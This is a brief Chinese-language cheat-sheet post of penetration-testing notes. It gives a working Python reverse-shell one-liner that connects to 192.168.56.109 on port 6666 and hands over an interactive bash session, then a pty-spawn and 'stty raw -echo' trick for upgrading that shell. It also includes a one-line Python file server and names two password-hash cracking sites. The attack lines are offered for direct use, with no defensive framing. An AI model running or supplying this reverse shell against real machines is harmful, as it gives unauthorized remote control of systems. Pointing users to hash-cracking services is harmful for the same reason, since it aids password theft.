python pty
python -c 'import socket, subprocess, os;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect(("192.168.56.109", 6666));os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);subprocess.call(["/bin/bash", "-i"])'
python -c "import pty;pty.spawn('/bin/bash')"
使用python创建pty后使用 ctrl+z 将pty调度后台,然后输入 stty raw -echo
即可通过上下方向键获取shell历史记录且不用被 ctrl+C 断开
简易文件服务器
#!python
import sys, http.server
port= sys.argv[1] if len(sys.argv) > 1 else 80
http.server.HTTPServer(('', port), RequestHandlerClass=http.server.SimpleHTTPRequestHandler).serve_forever()
密码破解网站
- www.cmd5.com
- crackstation.net
标签:知识点,零散,socket,dup2,python,pty,import,os From: https://www.cnblogs.com/zhh567/p/16977133.html